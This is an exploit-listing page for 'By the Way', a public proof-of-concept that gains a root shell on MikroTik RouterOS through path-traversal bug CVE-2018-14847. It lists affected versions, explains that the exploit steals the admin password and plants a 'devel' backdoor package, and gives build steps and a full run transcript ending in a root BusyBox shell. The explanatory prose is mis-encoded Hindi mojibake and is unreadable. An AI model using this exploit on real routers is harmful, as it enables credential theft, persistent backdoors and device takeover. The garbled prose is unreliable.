## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BABYSHEN-ROUTEROS-CVE-2018-14847-BYTHEWAY
# By the Way
By the Way рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╣реИ рдЬреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд RouterOS рд╕рдВрд╕реНрдХрд░рдг рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ Mikrotik рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдкрд░ рд░реВрдЯ рд╢реЗрд▓ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ:
* Longterm: 6.30.1 - 6.40.7
* Stable: 6.29 - 6.42.0
* Beta: 6.29rc1 - 6.43rc3
рдпрд╣ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдкрд╛рде рдЯреНрд░рд╛рд╡рд░реНрд╕рд▓ рднреЗрджреНрдпрддрд╛ CVE-2018-14847 рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдПрдбрдорд┐рди рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИ рдФрд░ рдбреЗрд╡рд▓рдкрд░ рдмреИрдХрдбреЛрд░ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ "option" рдкреИрдХреЗрдЬ рдмрдирд╛рддрд╛ рд╣реИред рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдХреЗ рдмрд╛рдж рд╣рдорд▓рд╛рд╡рд░ рдПрдбрдорд┐рди рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ "devel" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Telnet рдпрд╛ SSH рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
Mikrotik рдиреЗ CVE-2018-14847 рдХреЛ рдЕрдкреНрд░реИрд▓ рдореЗрдВ рд╣реА рдкреИрдЪ рдХрд░ рджрд┐рдпрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЬрдм рддрдХ рдпрд╣ PoC рдирд╣реАрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рдерд╛, рдореБрдЭреЗ рдирд╣реАрдВ рд▓рдЧрддрд╛ рдХрд┐ рдпрд╣ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЦреБрд▓рд╛рд╕рд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдХрд┐ рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред Mikrotik рдХреА рдПрдбрд╡рд╛рдЗрдЬрд╝рд░реА рдЖрдк рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
* https://blog.mikrotik.com/security/winbox-vulnerability.html
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐, рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпрд╣ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ Winbox рдХреЗ рд▓рд┐рдП рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕реЗ HTTP рдкрд░ рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдЖрдкрдХреЛ рдПрдбрдорд┐рди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдкреВрд░реНрд╡ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛред
## рдирд┐рд░реНрднрд░рддрд╛рдПрдБ
рдпрд╣ PoC рдирд┐рдореНрди рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ:
* Boost 1.66
* pthread
* cmake
## рдмрд┐рд▓реНрдб рдирд┐рд░реНрджреЗрд╢
root@kitploit:~
mkdir build
cd build
cmake ..
make
## рдЙрдкрдпреЛрдЧ рдЙрджрд╛рд╣рд░рдг
root@kitploit:~
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
Login failed, incorrect username or password
Connection closed by foreign host.
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251
тХФтХЧ тФм тФм тФМтФмтФРтФм тФмтФМтФАтФР тХж тХжтФМтФАтФРтФм тФм
тХатХйтХЧтФФтФмтФШ тФВ тФЬтФАтФдтФЬтФд тХСтХСтХСтФЬтФАтФдтФФтФмтФШ
тХЪтХРтХЭ тФ┤ тФ┤ тФ┤ тФ┤тФФтФАтФШ тХЪтХйтХЭтФ┤ тФ┤ тФ┤
[+] Extracting passwords from 192.168.1.251:8291
[+] Searching for administrator credentials
[+] Using credentials - admin:lol
[+] Creating /pckg/option on 192.168.1.251:8291
[+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291
[+] There's a light on
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password:
BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
# uname -a
Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown
# cat /rw/logs/VERSION
v6.38.4 Mar/08/2017 09:26:17
# Connection closed by foreign host.